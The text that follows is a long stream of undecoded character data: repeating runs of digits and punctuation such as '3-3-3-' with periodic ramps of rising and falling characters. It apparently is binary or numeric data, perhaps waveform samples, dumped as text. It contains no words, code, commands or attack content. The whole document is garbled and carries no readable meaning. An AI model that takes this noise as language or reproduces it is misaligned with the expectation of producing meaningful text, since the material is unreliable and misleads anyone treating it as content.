,@,>,<.;0;191816 03 02 112/2/1.1-1-1-2-3-4-4-5-6-7-7,6,5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3-3-3-7/81<2=4>6B9D;E=G?JBKDLFOIQKSMVOYQZS\U`WaYc[e]f`jakcmeohrjulwnxp{r}twy{}ĸƺǼͿʽȻƹķ}{}xyvvsrppmnklijegcd`a]^Z[WXTVRRPOMLKIIGEDBB??==;:8765320/,,))'%$#"!    "!%$('*),,/-205386;9><@?DAFDIFLIOKQNSQWTZW\Y`\b^f`hckfliokrnvqyu{w~z|öƸȹ˺ο̿ʽȺǸķ}{yw~u}syqwoumrjphnfldibg`f]d[bZ^W]U[SXQVOTMQJOHMFLDJBG@D?C=A:?8=5:36/5.4-4-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.0/1-4,6+7+5-1./.20<8MGjcqmPL>56-1,./-0/214182<3A4D2H0K0N0P0S0V0Y.[.^.`-b,e,g-i-j.l-m.n/p.r.s.t-v-w,x,z,{,|-|,~-,,,++****+**+++++*++**++*))))*+**)))''()))))***)*))()(()(()**+++**))****+++,-,-,+++},{+y-u-r-o.m/j0h0e/c/`/\/Z.X/V0T0R1O3M3J2H2F1C3B3>3=2;0906/302102/2.3-4-4,3-3.3-2-4-4,5,5,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.3.3.3.3-4-5-5-5,5,5,4-4-3,3-3,4,4,5,5.6-5-5-5-5-5.5.5.5.5.4.4.4-4-4-4,3-4-3-3,3,3,2,2,3,2,2+2*1*1+1*1*1* 0* 0* 1* /* /* /) /)/)/)/)/)/)/)0)0)0)0)0)0)0(1)1)1)1)1)1)1)-(,(-(-),)-)-)-(-(-(-(,(-(,(-(-(,(-(,(-(-(-(-(,(-(,(.(.(.(.(.(.(.(-(-(-(-(-(-)-)-).)/)/)0)0)0)0)/)0)0)/(/(0)0)1*0* 0) 0) 0* 0* 0* 0* 0+1+1+1+2*2+2,3,3,2,2,2,3,4,4-4-4-4-3-4-3,4,5,4,5,5,3+3,1,0-0.00 .2 )7'9(<(?!(B%(E*&G.%I2#K4#M7#O9#Q<$S=#T@"VC$XH%ZK#[M"]N!_R aVbZc\e^e`gdiejgkhlilkmlnnnpopoporosototosospspspspsqsrtrtqtrtrsrsrtrtrtrrqqpqopoonomnmnmmlmkljljjkhjgkfjfieidhcgcfcfadad_c_c]c[cZbZaXaWaW_U_T^S]R\Q[P[O[M ZLZK YJ XI!WH!WF!VE#VD#UC%UB$T@#T?$R?$P?$P=#O<$N;$N9%N7%N5%M3&L2%J0'J0&J/&I-'H+)G)(F()E')C%+A#,@!-?.>0=1<1;09082624 13 01/0///-1,0,1+1,3-4-6,5+5+4+5,5,5,5,4,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,5-6.8/91;3?6A8B:D=G?HAJDLFOIPJSLVNWPYR]U_WaYc[d]g^h`jcleohritlumxp{r}tvx{|~øĺǽ˾Ȼƹķ|z}xxuursoqmnjlgjegcda`]^ZYWWTURRPONMKJHGEDBB??=<::784512./,,*(&%$#"!  !!$#'&+),,..1/4386:9<;@>C@GDHFKIOKQMTOVSXV\Y^[b^e`icjemgojqmvpxtzw}y|~÷ŹȺʻν˿ɽǺƸĶ~{yv~t{szqvntmrkohmfjdiag_e]c[`Y_X\UZSXQUNSMQJNHLEKCJAG@C>B<A;>8<592705-4,3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.3-6+8)7+5-0/,0-000:5MEdZuo  |{_[JD?8501-/1/5-7080;1@2E1J2M1P0S/U/X/Z.].`-b-e,g,i+j*m,m,o-o-p-q.r.u.v.w-x-y,|,}-~--,-+++**)*))***))****+)*))+)))*))**)))(''))*)*****)*)(())))***+,,,,,,+****)+,,-..-+~*{*y*v+t+q,n-k/g/e0b1_0\0Y0U0Q0N0M0J0H1F0B1@2>1;190706.4.3.2.1.0.//.2.2.3-4-5,5+4,3,3-3-4,5,5,5,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.3.3.3.3-4.4-3-5,4-4,3-3-3-3-3-3-3-5,4-4-4-3-3-3-3-3-3,3-3-3-2-1+2+2+1+1+1+1+1+1*0* 1* 1+ 1* 0* 0* 0) 0*/)/*/(/(.(-'.(-(,(,'-'-'+',',',' ,'!,&#,&%-&%-&'-&'-&'-%(.&).&).%+.%+.%+.%+-%+*$,)$-)$.)$/)%/*%0*%0*$0*$1*$1*$1)$0*$1*$1*$1*$1*$1*$1)$0*$1*$1*$1*$1)$0*$1*$1*$1+$0+%0+%0+$/+$-+$-*$,*%,*%,*%,*%+*&+*&+*&*+%(,%(,%(,%'-&&-&%,%$,%$,&#.&#-%"-%!-%!.&/(/(/(/(/(/(/(0)0)/(/(/)1)1)1*1* 1* 1* 2* 1* 1*1*2*2+2+2+2+2,3+3+4,4+4+4+5,5,4+3,3-3.1.-1*2 +4 ,7,9+;)<+@(A (D#*F&+H(,K*)K.'L3(O7)R:'S<&U?&VD%YH#[L [P\S^U`Xb[c]d^f`gbhejgkimknlnoopoqoroqprqrqrqrqrpsqupspspsprpqpsqtqtqsqrqrqrqrprpqpqoqnpnomononlnkmjmjlikhjgigigiehegdgdfbf_d_d]d]c\b[aYaY`X_V^U^T]S]P]O\O[M[KZK YI"XH"XG"XE"VD"WC"UB#TB$SA#S@"R?#Q>#P<#P:#O8#O6$N5#M3%M2$M1#K0%J/%I.&H-%G+'E)(D')C%*B"+A .?/?.>.=.<0:08/7.5 .4 .2 /0...-.,/-0-2,2,3-3-4,5,5,6-6-5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3+3,5,5,6.7/91=3>6?8B;E=F?GAIDLFNHPIRKUMWPZR]T_VaXbZd\f^h`jbmepgrjskvmyp{q}tvxz|~¸źǾʿͿʽǻŹĶ~|y|wyuvrsnqloikgjegcd_a\]YZWWTURSPONMJKGHDEAB>?<<99673403./+,()&&#"!    "!$#&')*-,0.216386;8><@>DAGDJGMJNKQMTOWRYV]Y`[b^f`ickenhpjsmvpzs|wz|~÷Źɼ˽;ʿȽƺŸö~|{yv}szrxpwmtkqiogmejch`f_d]b[aY^V\TYRWPUNSLPINGLDJBGAF>D=A;>:<7:4816/5,3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.3-6+8)7+5-0/+/,/,.1-92B:JEXVifury}|z}xvqhbVSEE88302./0/5/;/>/?1@1D2I1O0T1X0Y0[0]/_/b/e/g.i,k+m+o,q+r-r-s-s-t.u/v.x.y-{-|-},-..,,-++**+)*))***)****()**))***)**++++*))****+)*))))(*)()+**))**,+-,,++*)*)*++,,,-~,}*z+w+t+r+o+l,i.e/b0^1Z1V1R/O/L0H1C0A.?.=.;.8-6.4/2/0.//././..//.//0.1.2.2-2-3-3,3,3,3,5,5,5,5,5,5,5,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2-3.2-2,3,2,3,2-2.2.2.2.2-2-3-2,2,2,2,2,2,2,2+2*1*0*1* 1* /* .) -)-(.)-)-).(.(.(.(-(.(.(-'.' -'!-'"+'#-'$,&&+%*+%+)%+*&-*%-*$/)$0($1)$3)$4)#5($5($7(#8(#9(#9(":(":(":(#<)#=)#=)">)">)">)!?'"@&!B&!B& D'!D'!D'!E'!E' F' F' F'G'G'G'G' F' F' F' F' F' F' F' F' F' F' F' F' F'!E'"C'"C'"C&!B&!A&!A&!A&"@&"?&#>&#>&#>&#>'"=&"<("<(";(":(":(#9*#8)$7)#6*#5+#5*"4*#1-%/-%-,%-,%--&,,%),&(.&'.&'.&%-&$-'#/&".' .'.(.(-'/(/(.(.)/)/*.).)/*1* 2* 2)2*3*3*3+3+3,3,4,5,5,3-2+1+1-0.//.0,1-4 -5 .7 /90;0=->*@ +B$,E'+F)*I,*K2)M6&O9$P=!QASE UH!WLZN\P^S`UbXdZf^gbicjflhlkmmnnonppqqqqqqrrrsrsrsrspsptpspspspsqtqtqtquququququququpsprpqppoonnmmmllllkljkikijhjgifgcgdfbfbfbd_d^d^c]c\aZ`Y`Y`U`T^S^R]P\N]M [L [L!ZJ#YH"YG!WF!WF"VE"UE"TC!SA!T@#S?$S=#R;$P9#P7%O6$O6#N5#L4#K3$K2#I/%H.&G,'F*)F)+E'+C%,B$-B",A ,?.>.<-;-:-9.7.6-2 .1 -/-/...,.,1.2-2-3-3-4.4-5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3,3,3,3-4-5,6-7.8092;5>7A:B<D?F@ICKEMGOIQJSLVOYQ\S]U^WaYc[d]g`ibldnfohrkumwoyq|r~uwy{~¸ĺƼɾʾȻƸĶ~{z}wztxquoqlnjlijfgbe_a\^Y[XWVUSSPPMMJJHHDFAC>@<=89573512./++((&%##!  "!$#&&))-+1/315386:9=;@>CAGDIFMJOLQNUPWRYU[Y_[b]d`hcjenhpjsmvpxs|vz|~·Źɻ˾ʿȽƺĸ~|zyw}tyqxountlqingmdjbh`e^d\bZ_X]V\SXQWOUNRLPJNGLDJBG@E>D<A:=9<7:4817/5-4+3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.4-6,7+7+4.1/./,.--0,4-5/4176C>MDSHTJQGNFMFNDE>:702*/,/020;0?/D-E.F0I1M1R0W/\.^/`0b/c/e/g.j-l,o,p+q+s,t-t.u-v,w,x,y-{.|-|-~-,,-.-,*,++**+)*))**+))***(*)**)*)++++++++++++++++*)))****+***++*+,,,,,,,++*****+--}-{-y.x-v,s,q-m-j-g.d-`/\0X0S1P1K1G1D1A0<08.6/4.3.1-0/00/1/1-2,1,1,3.1/1.1.0.1-2-2-2-3-3-3,3,3,5,5,5,5,5,5,5,5,5,5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,1+1+1+1+0+1+/+/+/,0,/+/+/+/*.* .* .* .* .* -*/).(0).(.(-(-'.',&,&!,&"+&#+%#*%&*%)*$**%+*%,*$.*$.*$0)$3)$4)#5(#7(#7(#8(";&!>%!?% @&!A%!C%!C% E$G$ H$ I$ J#K# L#M#M#L#M#N#N#N#O#P#Q#Q#Q#R#S"U!V!V"V"V"X"X"X"Y"Y"Y"Y"["Y"Y"Y"Y"Y"X"Y"Y"Y"Y"X"Y"Y"Y"W"W"V"V!V!U!T!T!R!R!Q! Q! Q! Q!P!O#O#N#M#M# L% K$ I$ H% H& G%G&E' D( C'!B(!A'!@)!=)"<)"<*";*"9*"8*#7*#6*#4+$1*#0*$/*$.*%,*$**%(+&&,&&,'$,'"+'!,(-(.(/)/)0)0)0)1)1* 1* 2) 1) 2)2*5*4*3*3+2+2,1+/+/,0.0/0011.2 *4*6*7*9+<+>*@!)A%(D)&F,%I1'L6(N:$P!UBXE[I]M^Q`TbXe[f_gbidjekfminjolompmqprrrsrsqsqtqtrtqtqtqtqtpsosospsptptquququqtqrqrqqpqppopoooonnnlmklkkjjijhihigifhfhdgcfcfbe_d^c^c]cZbYbXaW`U_T_Q^P]P ]O!\M [L ZL YJ!XJ WI WG WFVD"UC"UA"T?"S=#S<#R;#R9"P9"O8#N8#N7$L4$K2%J0%I/'I.(H-(E+)E)+D(*D'*C$+B!,@+>+=+=,;-:-8-7-5 -3 -1,.,-.-/-0,1,2-3-3-5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3,3,3,3-3-5,5,5-7.7/:3<5>7@:A<C?F@ICKDMGOHQJULWNYP[S]U_WaYc[e]g`jakcmfphrjulwnzp|s~uwy{~ĹƻɽʾȻŸĶµ~|z}wzuxrtoqmnjlhidgbe^a\_Z[XXUUSSOPLMIKFHCFAC>?;=8:673511..++))'&##  !$"&%((,*.-316386:8=;@=C@FCJFLIPKRNTPWRZU\X^[b^eahckemgqjsmvpxszv~y|~õŸƺʽʾȼƺø}zyw}u{rwountkringmejch`f^d\aZ_X]W\TYRWPUMRLPJNHLEICG@E=C<A;?8<6:492706.4-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4,3.3/3.1,0+1+2,1,0-0-5.9.9-7.3-1.0.3-3.10-3+7.81<2D/H.J.L/O0R1V0Z.].`,c-e/g.h/i-l,n+p+s+s+t+u,v-w-x,y+{+{,},,,++++,,,++,++***)))****)***))***))))**)*+++,+,+*******)***+****,,++,,++,,,,++++,,~,}-{.z/y/w/t/r.p-l-i.e.a-^-Z-U.Q/N1I2D2@2<281613101/2/2/1.0-2.3.3.3-3,3,3,2-2-2-1,1,1,1,2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,2,2+2+1*/)/)/)/) /) /) .) .) .) .)-)-)-)-)-(,',(,',(+(-'!,%$-%%,%'+%(*%+)$-*$0($1(#4)"6("7'"8'":&!=& >& ?%!A% B% C% E$ G$I#J#J$L$N#O"Q"R"T!U!V!W X![[] ^ _ __^^_`aaabcdddefghhhijijkkklkjjjjjjjjjjjjjiihhhhgfedccbbaaa`` _ _ ]!\![!Z!Y"X"X"X"X"W"V"U#S#P#O$N$M%K%J%J%H%G&F% E% B%!A&!>'"<'#9(#8($6'#4'$3($1)%-*%*+%)+%(+%&,%$,&#-&!.'.'.'.'/&.'2)2)2)2)2)2* 2) 1) 1)1*2+2+2+.+*+)-)-). *0 *1 *3)5)7):*=,@ -B$)E(&I,'K0%N5$Q9#T="WB ZG[K^O`SbWdZe\f^hbidkfkhminknmnnooopprprqrrsrsrsrsqrqrqrqrqsqtqtqtptqsrsrsrsrsrsrsrsqqqqppooonnnmnmlkllkljkijhififhdgcfbfae`e`e_d^c\cZaYbWaV`U_T^S]Q\P\O[NZMZLYJYH!XG!WE!VC!UB#U@$U?#T>#R="Q;$Q:#P9"O8#M6$L4$L3&K1%J0&H/'H-'G-'E,'E)(D&(C#(B")A *@+>,=-<.</9.7,5 +2 ,1-/./.-/,0,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3,3,4.3-3-4-4-6-6.80:3;5<7>:@<D?GAIBLDMFOHRKTMVNYQ[T\U^W`Yc[e]g_ibjdmfohrjtlxoyqzs}uwz|~·úǼȾʾǻŹö}{|xzvwrsopmnjlgidgac^`\]ZZXXUUQRNPLMIKFGDEAC>?;<99673300..++)(&%#"   !#"&$('+*.,106386:8<:?=B@ECIFMHOKRNTPVRYU\X_Zb^eahdjfmhojsmvpxs{v}y|ŷƹȻ˾ʿȼƻĸ}{yw~u{sxpumskriohmejchaf^d\bZ_X]V\TYRWPTMSLPINHLFICGAE>C<A:?8<6:482605.4-3,3,3+3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2-2.2.3.3.5-6,5+4*4*3-2/0-0+7-;.8.2.+.)0*1/176894;/?1A1E1L0O/Q0S1V0Z0^0a.b-d,f,i.k/l/m.o-q-t+u,v+w,x-y/z/z-|,,++,,++**,,,,,-,,+++*+*++*+*+*++)*)))((()))********))*))(*)))**+**++-,++,++,,+++++|,{-z-y-x.w/v/s/q.n.l-j-f-b.]/Y.V.R-M.I0D0?1:16222/2-3-4-4,4,4-4-4,4,4,4,4,4+4+3,3,2,2,3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,4,4+4+3+2*1*1) 1* 1) 0) 0*0)/)/(.'.'-'-'-',&!,&#,&%*%(+&**&++&-*%.*$1*#4*#6)#7)#9(";'!>(!A&!C& E&H&I%I$K#O#Q$R#S!T#V"X!Y [\!^ `!` a b d!e f ghjkmmopqrrrsuuuvwxyyyyyyz{|||}}~~}}}}}}}}}}}}}}}}}|{{yxxwvvvvvvutsrppoml k jkjihf d b a!`!^!]!\"Z"Z"Y#X$W#T#S$Q$ M# J$ G$!F#!C#!B$!A%!?(!=(!='":("8("7'"5)"3)$0+%0,%.,%+-$*+$'-&",' -'-'.(.(.(0)1)1)1)1)0) /* .*.+.+.,.-------,/-1-3 -5 .6-:+=+@+D$*G))J.&M3$P9!R<TBXGZK\P^S_VaYb\d]f`hdifkhljlkmmnonpoqoqpqqrqrqrqrqrqrqsqsqsqrqrqrpspspsqsqsqrrsrsrsrrrrrqqqpqppooooonnmmkljlikhjhifiehdhdgdgcfae`d_d\cZbZaXaW`V_U^T]S]R\P\O[M ZL!YJ!YH!WG"WE#VD#VC#UA$T>$S=$R<#Q:$P:$O8%O7%N6%L5%K3%J1&I0&H/&G-'G+&F('E&'D%*C#+B"+A ,?->/=/;/:-7.6 0402/0/./-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,4,5-6.80:3;5<8>:A<E>G@IBKCMFPHRKSLVOXQ[S\U]W`Yc[f^g_hbkdnfphrjumwoyq{s~twz|~ĹǼɿɽȻƸĶ~{|xzvwrsoplnilficfac^`\]ZZWWSUQRNPKMIKGHDEAB>?;<99763300..++)'%%""  #!%$('+)-,1.4285:8<:>=A@DBHELHPKRMTPVRXT[W^[a]dahdjflhpjrmvoxszv~y|¶ĸƹȻʾɽƻŹ·}{yw~t|sxpvnskriphnfjchaf_d\bZ_X]V[TYRWPVNRLPIOHLFJDHAD?B<A:?8<6:4715/3.3-2,3,4,3+3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,2,2-2.2.3.5-7,8+9*8*6+3-2/2.3-7-8-4./2+5*8*90:8>;B9E6I4L1N1R0U0W0Y0[0`1d0f/f.g,i,l.o/p.q.s/u.v,x,y+{,|.|/|0}-++++,,+***+,,++,++++++****++++,+,+*)))((()*)******++*++*)))())*+,++++--,,,,,-,,+}+}+|,y-w-v.u.u.s/q/n/k/h/f.c-_.[0U/R.N/J.D/@0;/602103.5-5-6,5,5+5,6,6-5,5,5,5,5,5,5,4,4-4-4-3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-3-3-3-3-3-3-3,3,3,2,2,2,3+3+ 3* 3* 1* 1) /(0(1)0)/)0*0)/).&"-$'-#),$,,$.+$0+$2)#4)"6'"9'";'"=("?("@)!B)!D(!F' H' J' L%O&R%T$V#Y#[#\"]!a b bde ijlmnpqrstuvwxyz||~~}|{zywusrqonmlkj i!h e c!a!^"["Y"V"S" R"R#Q$P$O$N$L$J$H$E%C'!A(!@)!=( <'!9($4'%1'%/(&-)&++&(+'&,'"-' .'.'.(.(.)/*0*1* 1+ 2+ 0+0+0,1-1-/././/-/,/ -3.7.;,>*B#(E(%G-$K3#O9$R>%UD"VGXLZP\R^U`Wb\d_fbgdheigjijkkllmlnmnnnooooopppqpqrqrrsrsrsqsqtqtqtrtrsqrqrqrqrrsrssrssrsqrqqqqppononolnmmkkjkijhjhjhifhegdfcfad_d^c\c[aZaY`X_W^U^T]S\R\Q[O ZM!YK!YI"XH"WF"WE#VB%UA$T@#S?$R>$Q<$Q;%P:%O9%M8%M5%K5%J3%I1&I/&H-&G+'G*)F()E&*D%+A ,@.?/>0=.;/:2927 13/0//0.2-3-3-3-4,4,4,4-3-3-3-3-3-3-4-3-4,3-3-3-3-3-3-2-3-3-2-2-3,4,3-2.2.3-3,4,4,4,3-2-3-4,4-2-1.2-3-3-3-3-4-4,4,3-2-1-2-4,5,5-4-3-3-3-1-1-3,4,4,4,4-3-2-3-5,6,5,5-5,4,4-3-2-3,4,4,4,3-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-2,3-3-3,3,3,3,5,6.8192:5<7?9C<E>GAIBLDNGPIQKTMVOYP[S\T_WaYd[e^g_ibldnfqhskumxoyp{s~uxz|~·ĺǼ̿ɽȻƸķ}{}xzuuqsnqkoikficfac_`\]YZVWSTPRNOLMJJFHDDAA>>;;:9563300..+*'&$$"!  